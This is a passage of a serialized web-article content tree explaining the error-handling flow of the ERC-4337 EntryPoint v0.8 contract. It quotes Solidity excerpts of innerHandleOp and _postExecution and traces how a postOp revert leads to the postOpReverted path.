actualGasCost;\n",{"type":21,"tag":85,"props":105858,"children":105859},{"class":87,"line":24081},[105860,105864,105868],{"type":21,"tag":85,"props":105861,"children":105862},{"style":114},[105863],{"type":26,"value":71054},{"type":21,"tag":85,"props":105865,"children":105866},{"style":2885},[105867],{"type":26,"value":4086},{"type":21,"tag":85,"props":105869,"children":105870},{"style":114},[105871],{"type":26,"value":148},{"type":21,"tag":85,"props":105873,"children":105874},{"class":87,"line":24089},[105875],{"type":21,"tag":85,"props":105876,"children":105877},{"style":114},[105878],{"type":26,"value":105263},{"type":21,"tag":85,"props":105880,"children":105881},{"class":87,"line":24098},[105882,105886,105890,105895],{"type":21,"tag":85,"props":105883,"children":105884},{"style":114},[105885],{"type":26,"value":105567},{"type":21,"tag":85,"props":105887,"children":105888},{"style":169},[105889],{"type":26,"value":741},{"type":21,"tag":85,"props":105891,"children":105892},{"style":1021},[105893],{"type":26,"value":105894}," _postExecution",{"type":21,"tag":85,"props":105896,"children":105897},{"style":114},[105898],{"type":26,"value":1029},{"type":21,"tag":85,"props":105900,"children":105901},{"class":87,"line":24174},[105902],{"type":21,"tag":85,"props":105903,"children":105904},{"style":114},[105905],{"type":26,"value":105906},"                    IPaymaster.PostOpMode.postOpReverted,\n",{"type":21,"tag":85,"props":105908,"children":105909},{"class":87,"line":24207},[105910],{"type":21,"tag":85,"props":105911,"children":105912},{"style":114},[105913],{"type":26,"value":105914},"                    opInfo,\n",{"type":21,"tag":85,"props":105916,"children":105917},{"class":87,"line":24215},[105918],{"type":21,"tag":85,"props":105919,"children":105920},{"style":114},[105921],{"type":26,"value":105922},"                    context,\n",{"type":21,"tag":85,"props":105924,"children":105925},{"class":87,"line":24223},[105926],{"type":21,"tag":85,"props":105927,"children":105928},{"style":114},[105929],{"type":26,"value":105930},"                    actualGas\n",{"type":21,"tag":85,"props":105932,"children":105933},{"class":87,"line":24260},[105934],{"type":21,"tag":85,"props":105935,"children":105936},{"style":114},[105937],{"type":26,"value":105938},"                );\n",{"type":21,"tag":85,"props":105940,"children":105941},{"class":87,"line":24273},[105942],{"type":21,"tag":85,"props":105943,"children":105944},{"style":114},[105945],{"type":26,"value":59342},{"type":21,"tag":85,"props":105947,"children":105948},{"class":87,"line":24286},[105949],{"type":21,"tag":85,"props":105950,"children":105951},{"style":114},[105952],{"type":26,"value":4118},{"type":21,"tag":85,"props":105954,"children":105955},{"class":87,"line":24299},[105956],{"type":21,"tag":85,"props":105957,"children":105958},{"style":114},[105959],{"type":26,"value":507},{"type":21,"tag":22,"props":105961,"children":105962},{},[105963,105965,105970,105972,105978,105980,105986,105988,105994],{"type":26,"value":105964},"During execution, the ",{"type":21,"tag":66,"props":105966,"children":105968},{"className":105967},[],[105969],{"type":26,"value":102725},{"type":26,"value":105971}," contract makes a ",{"type":21,"tag":335,"props":105973,"children":105976},{"href":105974,"rel":105975},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L222-L232",[339],[105977],{"type":26,"value":38744},{"type":26,"value":105979}," to its own ",{"type":21,"tag":66,"props":105981,"children":105983},{"className":105982},[],[105984],{"type":26,"value":105985},"innerHandleOp",{"type":26,"value":105987}," function through a low-level ",{"type":21,"tag":66,"props":105989,"children":105991},{"className":105990},[],[105992],{"type":26,"value":105993},"call()",{"type":26,"value":105995},". This is done to create a new call context for executing the user operation.",{"type":21,"tag":22,"props":105997,"children":105998},{},[105999,106001,106007,106008,106013,106015,106022,106024,106030],{"type":26,"value":106000},"If this call fails (when ",{"type":21,"tag":66,"props":106002,"children":106004},{"className":106003},[],[106005],{"type":26,"value":106006},"success",{"type":26,"value":6268},{"type":21,"tag":66,"props":106009,"children":106011},{"className":106010},[],[106012],{"type":26,"value":2530},{"type":26,"value":106014},"), the code enters an ",{"type":21,"tag":335,"props":106016,"children":106019},{"href":106017,"rel":106018},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L235-L273",[339],[106020],{"type":26,"value":106021},"error handling",{"type":26,"value":106023}," flow that checks the ",{"type":21,"tag":66,"props":106025,"children":106027},{"className":106026},[],[106028],{"type":26,"value":106029},"innerRevertCode",{"type":26,"value":106031},". There are three possible paths:",{"type":21,"tag":841,"props":106033,"children":106034},{},[106035,106059,106077],{"type":21,"tag":845,"props":106036,"children":106037},{},[106038,106039,106044,106045,106051,106053,106058],{"type":26,"value":1826},{"type":21,"tag":66,"props":106040,"children":106042},{"className":106041},[],[106043],{"type":26,"value":106029},{"type":26,"value":6268},{"type":21,"tag":66,"props":106046,"children":106048},{"className":106047},[],[106049],{"type":26,"value":106050},"INNER_OUT_OF_GAS",{"type":26,"value":106052},", it means the bundler didn't provide enough gas for execution. This causes the entire bundle to fail with ",{"type":21,"tag":66,"props":106054,"children":106056},{"className":106055},[],[106057],{"type":26,"value":105702},{"type":26,"value":73},{"type":21,"tag":845,"props":106060,"children":106061},{},[106062,106063,106068,106069,106075],{"type":26,"value":1826},{"type":21,"tag":66,"props":106064,"children":106066},{"className":106065},[],[106067],{"type":26,"value":106029},{"type":26,"value":6268},{"type":21,"tag":66,"props":106070,"children":106072},{"className":106071},[],[106073],{"type":26,"value":106074},"INNER_REVERT_LOW_PREFUND",{"type":26,"value":106076},", it means the user didn't prefund enough gas. In this case, it charges the entire prefund amount as gas cost.",{"type":21,"tag":845,"props":106078,"children":106079},{},[106080,106082,106088,106090,106096],{"type":26,"value":106081},"For any other revert reason, the code will still call ",{"type":21,"tag":66,"props":106083,"children":106085},{"className":106084},[],[106086],{"type":26,"value":106087},"_postExecution()",{"type":26,"value":106089}," but with ",{"type":21,"tag":66,"props":106091,"children":106093},{"className":106092},[],[106094],{"type":26,"value":106095},"PostOpMode.postOpReverted",{"type":26,"value":106097},". This ensures proper cleanup happens even on failure.",{"type":21,"tag":22,"props":106099,"children":106100},{},[106101,106103,106108,106110,106115,106117,106122,106124,106129],{"type":26,"value":106102},"We're particularly interested in the third error path, where ",{"type":21,"tag":66,"props":106104,"children":106106},{"className":106105},[],[106107],{"type":26,"value":106029},{"type":26,"value":106109}," is neither ",{"type":21,"tag":66,"props":106111,"children":106113},{"className":106112},[],[106114],{"type":26,"value":106050},{"type":26,"value":106116}," nor ",{"type":21,"tag":66,"props":106118,"children":106120},{"className":106119},[],[106121],{"type":26,"value":106074},{"type":26,"value":106123},". To understand this case better, let's examine how ",{"type":21,"tag":66,"props":106125,"children":106127},{"className":106126},[],[106128],{"type":26,"value":105985},{"type":26,"value":106130}," works.",{"type":21,"tag":75,"props":106132,"children":106134},{"className":5245,"code":106133,"language":5244,"meta":7,"style":7},"    function innerHandleOp(\n        bytes memory callData,\n        UserOpInfo memory opInfo,\n        bytes calldata context\n    ) external returns (uint256 actualGasCost) {\n    [...]\n        IPaymaster.PostOpMode mode = IPaymaster.PostOpMode.opSucceeded;\n        if (callData.length > 0) {\n            bool success = Exec.call(mUserOp.sender, 0, callData, callGasLimit);\n            if (!success) {\n                uint256 freePtr = _getFreePtr();\n                bytes memory result = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n                if (result.length > 0) {\n                    emit UserOperationRevertReason(\n                        opInfo.userOpHash,\n                        mUserOp.sender,\n                        mUserOp.nonce,\n                        result\n                    );\n                }\n                _restoreFreePtr(freePtr);\n                mode = IPaymaster.PostOpMode.opReverted;\n            }\n        }\n\n        unchecked {\n            uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n            return _postExecution(mode, opInfo, context, actualGas);\n        }\n    }\n",[106135],{"type":21,"tag":66,"props":106136,"children":106137},{"__ignoreMap":7},[106138,106154,106175,106195,106211,106244,106251,106268,106292,106332,106351,106376,106410,106434,106451,106459,106467,106475,106483,106491,106498,106511,106528,106535,106542,106549,106560,106599,106615,106622],{"type":21,"tag":85,"props":106139,"children":106140},{"class":87,"line":88},[106141,106145,106150],{"type":21,"tag":85,"props":106142,"children":106143},{"style":102},[106144],{"type":26,"value":90293},{"type":21,"tag":85,"props":106146,"children":106147},{"style":1021},[106148],{"type":26,"value":106149}," innerHandleOp",{"type":21,"tag":85,"props":106151,"children":106152},{"style":114},[106153],{"type":26,"value":1029},{"type":21,"tag":85,"props":106155,"children":106156},{"class":87,"line":98},[106157,106162,106166,106171],{"type":21,"tag":85,"props":106158,"children":106159},{"style":108},[106160],{"type":26,"value":106161},"        bytes",{"type":21,"tag":85,"props":106163,"children":106164},{"style":102},[106165],{"type":26,"value":103542},{"type":21,"tag":85,"props":106167,"children":106168},{"style":120},[106169],{"type":26,"value":106170}," callData",{"type":21,"tag":85,"props":106172,"children":106173},{"style":114},[106174],{"type":26,"value":182},{"type":21,"tag":85,"props":106176,"children":106177},{"class":87,"line":151},[106178,106182,106186,106191],{"type":21,"tag":85,"props":106179,"children":106180},{"style":102},[106181],{"type":26,"value":105202},{"type":21,"tag":85,"props":106183,"children":106184},{"style":102},[106185],{"type":26,"value":103542},{"type":21,"tag":85,"props":106187,"children":106188},{"style":120},[106189],{"type":26,"value":106190}," opInfo",{"type":21,"tag":85,"props":106192,"children":106193},{"style":114},[106194],{"type":26,"value":182},{"type":21,"tag":85,"props":106196,"children":106197},{"class":87,"line":160},[106198,106202,106206],{"type":21,"tag":85,"props":106199,"children":106200},{"style":108},[106201],{"type":26,"value":106161},{"type":21,"tag":85,"props":106203,"children":106204},{"style":102},[106205],{"type":26,"value":103474},{"type":21,"tag":85,"props":106207,"children":106208},{"style":120},[106209],{"type":26,"value":106210}," context\n",{"type":21,"tag":85,"props":106212,"children":106213},{"class":87,"line":185},[106214,106219,106224,106228,106232,106236,106240],{"type":21,"tag":85,"props":106215,"children":106216},{"style":114},[106217],{"type":26,"value":106218},"    ) ",{"type":21,"tag":85,"props":106220,"children":106221},{"style":102},[106222],{"type":26,"value":106223},"external",{"type":21,"tag":85,"props":106225,"children":106226},{"style":2885},[106227],{"type":26,"value":76455},{"type":21,"tag":85,"props":106229,"children":106230},{"style":114},[106231],{"type":26,"value":717},{"type":21,"tag":85,"props":106233,"children":106234},{"style":108},[106235],{"type":26,"value":46622},{"type":21,"tag":85,"props":106237,"children":106238},{"style":120},[106239],{"type":26,"value":104283},{"type":21,"tag":85,"props":106241,"children":106242},{"style":114},[106243],{"type":26,"value":15222},{"type":21,"tag":85,"props":106245,"children":106246},{"class":87,"line":501},[106247],{"type":21,"tag":85,"props":106248,"children":106249},{"style":114},[106250],{"type":26,"value":105263},{"type":21,"tag":85,"props":106252,"children":106253},{"class":87,"line":697},[106254,106259,106263],{"type":21,"tag":85,"props":106255,"children":106256},{"style":114},[106257],{"type":26,"value":106258},"        IPaymaster.PostOpMode mode ",{"type":21,"tag":85,"props":106260,"children":106261},{"style":169},[106262],{"type":26,"value":741},{"type":21,"tag":85,"props":106264,"children":106265},{"style":114},[106266],{"type":26,"value":106267}," IPaymaster.PostOpMode.opSucceeded;\n",{"type":21,"tag":85,"props":106269,"children":106270},{"class":87,"line":706},[106271,106275,106280,106284,106288],{"type":21,"tag":85,"props":106272,"children":106273},{"style":2885},[106274],{"type":26,"value":4044},{"type":21,"tag":85,"props":106276,"children":106277},{"style":114},[106278],{"type":26,"value":106279}," (callData.length ",{"type":21,"tag":85,"props":106281,"children":106282},{"style":169},[106283],{"type":26,"value":10877},{"type":21,"tag":85,"props":106285,"children":106286},{"style":2285},[106287],{"type":26,"value":2830},{"type":21,"tag":85,"props":106289,"children":106290},{"style":114},[106291],{"type":26,"value":15222},{"type":21,"tag":85,"props":106293,"children":106294},{"class":87,"line":1100},[106295,106300,106305,106309,106314,106318,106323,106327],{"type":21,"tag":85,"props":106296,"children":106297},{"style":108},[106298],{"type":26,"value":106299},"            bool",{"type":21,"tag":85,"props":106301,"children":106302},{"style":114},[106303],{"type":26,"value":106304}," success ",{"type":21,"tag":85,"props":106306,"children":106307},{"style":169},[106308],{"type":26,"value":741},{"type":21,"tag":85,"props":106310,"children":106311},{"style":114},[106312],{"type":26,"value":106313}," Exec.",{"type":21,"tag":85,"props":106315,"children":106316},{"style":1021},[106317],{"type":26,"value":38744},{"type":21,"tag":85,"props":106319,"children":106320},{"style":114},[106321],{"type":26,"value":106322},"(mUserOp.sender, ",{"type":21,"tag":85,"props":106324,"children":106325},{"style":2285},[106326],{"type":26,"value":4789},{"type":21,"tag":85,"props":106328,"children":106329},{"style":114},[106330],{"type":26,"value":106331},", callData, callGasLimit);\n",{"type":21,"tag":85,"props":106333,"children":106334},{"class":87,"line":1339},[106335,106339,106343,106347],{"type":21,"tag":85,"props":106336,"children":106337},{"style":2885},[106338],{"type":26,"value":59258},{"type":21,"tag":85,"props":106340,"children":106341},{"style":114},[106342],{"type":26,"value":717},{"type":21,"tag":85,"props":106344,"children":106345},{"style":169},[106346],{"type":26,"value":21049},{"type":21,"tag":85,"props":106348,"children":106349},{"style":114},[106350],{"type":26,"value":105635},{"type":21,"tag":85,"props":106352,"children":106353},{"class":87,"line":1348},[106354,106358,106363,106367,106372],{"type":21,"tag":85,"props":106355,"children":106356},{"style":108},[106357],{"type":26,"value":103922},{"type":21,"tag":85,"props":106359,"children":106360},{"style":114},[106361],{"type":26,"value":106362}," freePtr ",{"type":21,"tag":85,"props":106364,"children":106365},{"style":169},[106366],{"type":26,"value":741},{"type":21,"tag":85,"props":106368,"children":106369},{"style":1021},[106370],{"type":26,"value":106371}," _getFreePtr",{"type":21,"tag":85,"props":106373,"children":106374},{"style":114},[106375],{"type":26,"value":4437},{"type":21,"tag":85,"props":106377,"children":106378},{"class":87,"line":1386},[106379,106383,106387,106392,106396,106400,106405],{"type":21,"tag":85,"props":106380,"children":106381},{"style":108},[106382],{"type":26,"value":105319},{"type":21,"tag":85,"props":106384,"children":106385},{"style":102},[106386],{"type":26,"value":103542},{"type":21,"tag":85,"props":106388,"children":106389},{"style":114},[106390],{"type":26,"value":106391}," result ",{"type":21,"tag":85,"props":106393,"children":106394},{"style":169},[106395],{"type":26,"value":741},{"type":21,"tag":85,"props":106397,"children":106398},{"style":114},[106399],{"type":26,"value":106313},{"type":21,"tag":85,"props":106401,"children":106402},{"style":1021},[106403],{"type":26,"value":106404},"getReturnData",{"type":21,"tag":85,"props":106406,"children":106407},{"style":114},[106408],{"type":26,"value":106409},"(REVERT_REASON_MAX_LEN);\n",{"type":21,"tag":85,"props":106411,"children":106412},{"class":87,"line":1394},[106413,106417,106422,106426,106430],{"type":21,"tag":85,"props":106414,"children":106415},{"style":2885},[106416],{"type":26,"value":103982},{"type":21,"tag":85,"props":106418,"children":106419},{"style":114},[106420],{"type":26,"value":106421}," (result.length ",{"type":21,"tag":85,"props":106423,"children":106424},{"style":169},[106425],{"type":26,"value":10877},{"type":21,"tag":85,"props":106427,"children":106428},{"style":2285},[106429],{"type":26,"value":2830},{"type":21,"tag":85,"props":106431,"children":106432},{"style":114},[106433],{"type":26,"value":15222},{"type":21,"tag":85,"props":106435,"children":106436},{"class":87,"line":1402},[106437,106442,106447],{"type":21,"tag":85,"props":106438,"children":106439},{"style":2885},[106440],{"type":26,"value":106441},"                    emit",{"type":21,"tag":85,"props":106443,"children":106444},{"style":1021},[106445],{"type":26,"value":106446}," UserOperationRevertReason",{"type":21,"tag":85,"props":106448,"children":106449},{"style":114},[106450],{"type":26,"value":1029},{"type":21,"tag":85,"props":106452,"children":106453},{"class":87,"line":3145},[106454],{"type":21,"tag":85,"props":106455,"children":106456},{"style":114},[106457],{"type":26,"value":106458},"                        opInfo.userOpHash,\n",{"type":21,"tag":85,"props":106460,"children":106461},{"class":87,"line":3246},[106462],{"type":21,"tag":85,"props":106463,"children":106464},{"style":114},[106465],{"type":26,"value":106466},"                        mUserOp.sender,\n",{"type":21,"tag":85,"props":106468,"children":106469},{"class":87,"line":3255},[106470],{"type":21,"tag":85,"props":106471,"children":106472},{"style":114},[106473],{"type":26,"value":106474},"                        mUserOp.nonce,\n",{"type":21,"tag":85,"props":106476,"children":106477},{"class":87,"line":3286},[106478],{"type":21,"tag":85,"props":106479,"children":106480},{"style":114},[106481],{"type":26,"value":106482},"                        result\n",{"type":21,"tag":85,"props":106484,"children":106485},{"class":87,"line":3295},[106486],{"type":21,"tag":85,"props":106487,"children":106488},{"style":114},[106489],{"type":26,"value":106490},"                    );\n",{"type":21,"tag":85,"props":106492,"children":106493},{"class":87,"line":3308},[106494],{"type":21,"tag":85,"props":106495,"children":106496},{"style":114},[106497],{"type":26,"value":71531},{"type":21,"tag":85,"props":106499,"children":106500},{"class":87,"line":3333},[106501,106506],{"type":21,"tag":85,"props":106502,"children":106503},{"style":1021},[106504],{"type":26,"value":106505},"                _restoreFreePtr",{"type":21,"tag":85,"props":106507,"children":106508},{"style":114},[106509],{"type":26,"value":106510},"(freePtr);\n",{"type":21,"tag":85,"props":106512,"children":106513},{"class":87,"line":3369},[106514,106519,106523],{"type":21,"tag":85,"props":106515,"children":106516},{"style":114},[106517],{"type":26,"value":106518},"                mode ",{"type":21,"tag":85,"props":106520,"children":106521},{"style":169},[106522],{"type":26,"value":741},{"type":21,"tag":85,"props":106524,"children":106525},{"style":114},[106526],{"type":26,"value":106527}," IPaymaster.PostOpMode.opReverted;\n",{"type":21,"tag":85,"props":106529,"children":106530},{"class":87,"line":3377},[106531],{"type":21,"tag":85,"props":106532,"children":106533},{"style":114},[106534],{"type":26,"value":59342},{"type":21,"tag":85,"props":106536,"children":106537},{"class":87,"line":3386},[106538],{"type":21,"tag":85,"props":106539,"children":106540},{"style":114},[106541],{"type":26,"value":4118},{"type":21,"tag":85,"props":106543,"children":106544},{"class":87,"line":3394},[106545],{"type":21,"tag":85,"props":106546,"children":106547},{"emptyLinePlaceholder":16},[106548],{"type":26,"value":703},{"type":21,"tag":85,"props":106550,"children":106551},{"class":87,"line":3410},[106552,106556],{"type":21,"tag":85,"props":106553,"children":106554},{"style":2885},[106555],{"type":26,"value":103578},{"type":21,"tag":85,"props":106557,"children":106558},{"style":114},[106559],{"type":26,"value":148},{"type":21,"tag":85,"props":106561,"children":106562},{"class":87,"line":3427},[106563,106567,106571,106575,106579,106583,106587,106591,106595],{"type":21,"tag":85,"props":106564,"children":106565},{"style":108},[106566],{"type":26,"value":103590},{"type":21,"tag":85,"props":106568,"children":106569},{"style":114},[106570],{"type":26,"value":105754},{"type":21,"tag":85,"props":106572,"children":106573},{"style":169},[106574],{"type":26,"value":741},{"type":21,"tag":85,"props":106576,"children":106577},{"style":114},[106578],{"type":26,"value":105763},{"type":21,"tag":85,"props":106580,"children":106581},{"style":169},[106582],{"type":26,"value":5097},{"type":21,"tag":85,"props":106584,"children":106585},{"style":102},[106586],{"type":26,"value":105772},{"type":21,"tag":85,"props":106588,"children":106589},{"style":114},[106590],{"type":26,"value":14461},{"type":21,"tag":85,"props":106592,"children":106593},{"style":169},[106594],{"type":26,"value":5151},{"type":21,"tag":85,"props":106596,"children":106597},{"style":114},[106598],{"type":26,"value":105785},{"type":21,"tag":85,"props":106600,"children":106601},{"class":87,"line":3445},[106602,106606,106610],{"type":21,"tag":85,"props":106603,"children":106604},{"style":2885},[106605],{"type":26,"value":79538},{"type":21,"tag":85,"props":106607,"children":106608},{"style":1021},[106609],{"type":26,"value":105894},{"type":21,"tag":85,"props":106611,"children":106612},{"style":114},[106613],{"type":26,"value":106614},"(mode, opInfo, context, actualGas);\n",{"type":21,"tag":85,"props":106616,"children":106617},{"class":87,"line":3490},[106618],{"type":21,"tag":85,"props":106619,"children":106620},{"style":114},[106621],{"type":26,"value":4118},{"type":21,"tag":85,"props":106623,"children":106624},{"class":87,"line":3596},[106625],{"type":21,"tag":85,"props":106626,"children":106627},{"style":114},[106628],{"type":26,"value":507},{"type":21,"tag":22,"props":106630,"children":106631},{},[106632,106634,106639,106641,106646,106648,106654,106656,106662,106664,106669,106671,106681],{"type":26,"value":106633},"We observe that, in the happy path, ",{"type":21,"tag":66,"props":106635,"children":106637},{"className":106636},[],[106638],{"type":26,"value":105985},{"type":26,"value":106640}," is expected to not only execute the actual ",{"type":21,"tag":66,"props":106642,"children":106644},{"className":106643},[],[106645],{"type":26,"value":102644},{"type":26,"value":106647}," call, but also call ",{"type":21,"tag":66,"props":106649,"children":106651},{"className":106650},[],[106652],{"type":26,"value":106653},"_postExecution",{"type":26,"value":106655},". This means that the third failure handling path, which passes ",{"type":21,"tag":66,"props":106657,"children":106659},{"className":106658},[],[106660],{"type":26,"value":106661},"postOpReverted",{"type":26,"value":106663}," as its mode, happens when something goes wrong with the ",{"type":21,"tag":66,"props":106665,"children":106667},{"className":106666},[],[106668],{"type":26,"value":106653},{"type":26,"value":106670}," call ",{"type":21,"tag":873,"props":106672,"children":106673},{},[106674,106676],{"type":26,"value":106675},"inside ",{"type":21,"tag":66,"props":106677,"children":106679},{"className":106678},[],[106680],{"type":26,"value":105985},{"type":26,"value":73},{"type":21,"tag":22,"props":106683,"children":106684},{},[106685,106687,106692],{"type":26,"value":106686},"Let's examine the ",{"type":21,"tag":66,"props":106688,"children":106690},{"className":106689},[],[106691],{"type":26,"value":106653},{"type":26,"value":106693}," code to understand where the revert might occur.",{"type":21,"tag":75,"props":106695,"children":106697},{"className":5245,"code":106696,"language":5244,"meta":7,"style":7},"    function _postExecution(\n        IPaymaster.PostOpMode mode,\n        UserOpInfo memory opInfo,\n        bytes memory context,\n        uint256 actualGas\n    ) internal virtual returns (uint256 actualGasCost) {\n    [...]\n            if (paymaster == address(0)) {\n                refundAddress = mUserOp.sender;\n            } else {\n                refundAddress = paymaster;\n                if (context.length > 0) {\n                    actualGasCost = actualGas * gasPrice;\n                    uint256 postOpPreGas = gasleft();\n                    if (mode != IPaymaster.PostOpMode.postOpReverted) {\n                        try IPaymaster(paymaster).postOp{\n                                gas: mUserOp.paymasterPostOpGasLimit\n                            }(mode, context, actualGasCost, gasPrice)\n                        // solhint-disable-next-line no-empty-blocks\n                        {} catch {\n                            bytes memory reason = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n                            revert PostOpReverted(reason);\n                        }\n                    }\n                    // Calculating a penalty for unused postOp gas\n                    // note that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n                    uint256 postOpGasUsed = postOpPreGas - gasleft();\n                    postOpUnusedGasPenalty = _getUnusedGasPenalty(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n                }\n            }\n    [...]\n    }\n",[106698],{"type":21,"tag":66,"props":106699,"children":106700},{"__ignoreMap":7},[106701,106716,106741,106760,106779,106791,106828,106835,106867,106884,106899,106915,106939,106964,106988,107010,107028,107045,107053,107071,107087,107120,107138,107145,107152,107160,107176,107208,107230,107237,107244,107251],{"type":21,"tag":85,"props":106702,"children":106703},{"class":87,"line":88},[106704,106708,106712],{"type":21,"tag":85,"props":106705,"children":106706},{"style":102},[106707],{"type":26,"value":90293},{"type":21,"tag":85,"props":106709,"children":106710},{"style":1021},[106711],{"type":26,"value":105894},{"type":21,"tag":85,"props":106713,"children":106714},{"style":114},[106715],{"type":26,"value":1029},{"type":21,"tag":85,"props":106717,"children":106718},{"class":87,"line":98},[106719,106724,106728,106732,106737],{"type":21,"tag":85,"props":106720,"children":106721},{"style":102},[106722],{"type":26,"value":106723},"        IPaymaster",{"type":21,"tag":85,"props":106725,"children":106726},{"style":114},[106727],{"type":26,"value":73},{"type":21,"tag":85,"props":106729,"children":106730},{"style":120},[106731],{"type":26,"value":104254},{"type":21,"tag":85,"props":106733,"children":106734},{"style":120},[106735],{"type":26,"value":106736}," mode",{"type":21,"tag":85,"props":106738,"children":106739},{"style":114},[106740],{"type":26,"value":182},{"type":21,"tag":85,"props":106742,"children":106743},{"class":87,"line":151},[106744,106748,106752,106756],{"type":21,"tag":85,"props":106745,"children":106746},{"style":102},[106747],{"type":26,"value":105202},{"type":21,"tag":85,"props":106749,"children":106750},{"style":102},[106751],{"type":26,"value":103542},{"type":21,"tag":85,"props":106753,"children":106754},{"style":120},[106755],{"type":26,"value":106190},{"type":21,"tag":85,"props":106757,"children":106758},{"style":114},[106759],{"type":26,"value":182},{"type":21,"tag":85,"props":106761,"children":106762},{"class":87,"line":160},[106763,106767,106771,106775],{"type":21,"tag":85,"props":106764,"children":106765},{"style":108},[106766],{"type":26,"value":106161},{"type":21,"tag":85,"props":106768,"children":106769},{"style":102},[106770],{"type":26,"value":103542},{"type":21,"tag":85,"props":106772,"children":106773},{"style":120},[106774],{"type":26,"value":76802},{"type":21,"tag":85,"props":106776,"children":106777},{"style":114},[106778],{"type":26,"value":182},{"type":21,"tag":85,"props":106780,"children":106781},{"class":87,"line":185},[106782,106786],{"type":21,"tag":85,"props":106783,"children":106784},{"style":108},[106785],{"type":26,"value":90471},{"type":21,"tag":85,"props":106787,"children":106788},{"style":120},[106789],{"type":26,"value":106790}," actualGas\n",{"type":21,"tag":85,"props":106792,"children":106793},{"class":87,"line":501},[106794,106798,106803,106808,106812,106816,106820,106824],{"type":21,"tag":85,"props":106795,"children":106796},{"style":114},[106797],{"type":26,"value":106218},{"type":21,"tag":85,"props":106799,"children":106800},{"style":102},[106801],{"type":26,"value":106802},"internal",{"type":21,"tag":85,"props":106804,"children":106805},{"style":102},[106806],{"type":26,"value":106807}," virtual",{"type":21,"tag":85,"props":106809,"children":106810},{"style":2885},[106811],{"type":26,"value":76455},{"type":21,"tag":85,"props":106813,"children":106814},{"style":114},[106815],{"type":26,"value":717},{"type":21,"tag":85,"props":106817,"children":106818},{"style":108},[106819],{"type":26,"value":46622},{"type":21,"tag":85,"props":106821,"children":106822},{"style":120},[106823],{"type":26,"value":104283},{"type":21,"tag":85,"props":106825,"children":106826},{"style":114},[106827],{"type":26,"value":15222},{"type":21,"tag":85,"props":106829,"children":106830},{"class":87,"line":697},[106831],{"type":21,"tag":85,"props":106832,"children":106833},{"style":114},[106834],{"type":26,"value":105263},{"type":21,"tag":85,"props":106836,"children":106837},{"class":87,"line":706},[106838,106842,106847,106851,106855,106859,106863],{"type":21,"tag":85,"props":106839,"children":106840},{"style":2885},[106841],{"type":26,"value":59258},{"type":21,"tag":85,"props":106843,"children":106844},{"style":114},[106845],{"type":26,"value":106846}," (paymaster ",{"type":21,"tag":85,"props":106848,"children":106849},{"style":169},[106850],{"type":26,"value":2936},{"type":21,"tag":85,"props":106852,"children":106853},{"style":108},[106854],{"type":26,"value":575},{"type":21,"tag":85,"props":106856,"children":106857},{"style":114},[106858],{"type":26,"value":1439},{"type":21,"tag":85,"props":106860,"children":106861},{"style":2285},[106862],{"type":26,"value":4789},{"type":21,"tag":85,"props":106864,"children":106865},{"style":114},[106866],{"type":26,"value":35641},{"type":21,"tag":85,"props":106868,"children":106869},{"class":87,"line":1100},[106870,106875,106879],{"type":21,"tag":85,"props":106871,"children":106872},{"style":114},[106873],{"type":26,"value":106874},"                refundAddress ",{"type":21,"tag":85,"props":106876,"children":106877},{"style":169},[106878],{"type":26,"value":741},{"type":21,"tag":85,"props":106880,"children":106881},{"style":114},[106882],{"type":26,"value":106883}," mUserOp.sender;\n",{"type":21,"tag":85,"props":106885,"children":106886},{"class":87,"line":1339},[106887,106891,106895],{"type":21,"tag":85,"props":106888,"children":106889},{"style":114},[106890],{"type":26,"value":71054},{"type":21,"tag":85,"props":106892,"children":106893},{"style":2885},[106894],{"type":26,"value":4086},{"type":21,"tag":85,"props":106896,"children":106897},{"style":114},[106898],{"type":26,"value":148},{"type":21,"tag":85,"props":106900,"children":106901},{"class":87,"line":1348},[106902,106906,106910],{"type":21,"tag":85,"props":106903,"children":106904},{"style":114},[106905],{"type":26,"value":106874},{"type":21,"tag":85,"props":106907,"children":106908},{"style":169},[106909],{"type":26,"value":741},{"type":21,"tag":85,"props":106911,"children":106912},{"style":114},[106913],{"type":26,"value":106914}," paymaster;\n",{"type":21,"tag":85,"props":106916,"children":106917},{"class":87,"line":1386},[106918,106922,106927,106931,106935],{"type":21,"tag":85,"props":106919,"children":106920},{"style":2885},[106921],{"type":26,"value":103982},{"type":21,"tag":85,"props":106923,"children":106924},{"style":114},[106925],{"type":26,"value":106926}," (context.length ",{"type":21,"tag":85,"props":106928,"children":106929},{"style":169},[106930],{"type":26,"value":10877},{"type":21,"tag":85,"props":106932,"children":106933},{"style":2285},[106934],{"type":26,"value":2830},{"type":21,"tag":85,"props":106936,"children":106937},{"style":114},[106938],{"type":26,"value":15222},{"type":21,"tag":85,"props":106940,"children":106941},{"class":87,"line":1394},[106942,106947,106951,106955,106959],{"type":21,"tag":85,"props":106943,"children":106944},{"style":114},[106945],{"type":26,"value":106946},"                    actualGasCost ",{"type":21,"tag":85,"props":106948,"children":106949},{"style":169},[106950],{"type":26,"value":741},{"type":21,"tag":85,"props":106952,"children":106953},{"style":114},[106954],{"type":26,"value":105754},{"type":21,"tag":85,"props":106956,"children":106957},{"style":169},[106958],{"type":26,"value":3052},{"type":21,"tag":85,"props":106960,"children":106961},{"style":114},[106962],{"type":26,"value":106963}," gasPrice;\n",{"type":21,"tag":85,"props":106965,"children":106966},{"class":87,"line":1402},[106967,106971,106976,106980,106984],{"type":21,"tag":85,"props":106968,"children":106969},{"style":108},[106970],{"type":26,"value":103939},{"type":21,"tag":85,"props":106972,"children":106973},{"style":114},[106974],{"type":26,"value":106975}," postOpPreGas ",{"type":21,"tag":85,"props":106977,"children":106978},{"style":169},[106979],{"type":26,"value":741},{"type":21,"tag":85,"props":106981,"children":106982},{"style":102},[106983],{"type":26,"value":105772},{"type":21,"tag":85,"props":106985,"children":106986},{"style":114},[106987],{"type":26,"value":4437},{"type":21,"tag":85,"props":106989,"children":106990},{"class":87,"line":3145},[106991,106996,107001,107005],{"type":21,"tag":85,"props":106992,"children":106993},{"style":2885},[106994],{"type":26,"value":106995},"                    if",{"type":21,"tag":85,"props":106997,"children":106998},{"style":114},[106999],{"type":26,"value":107000}," (mode 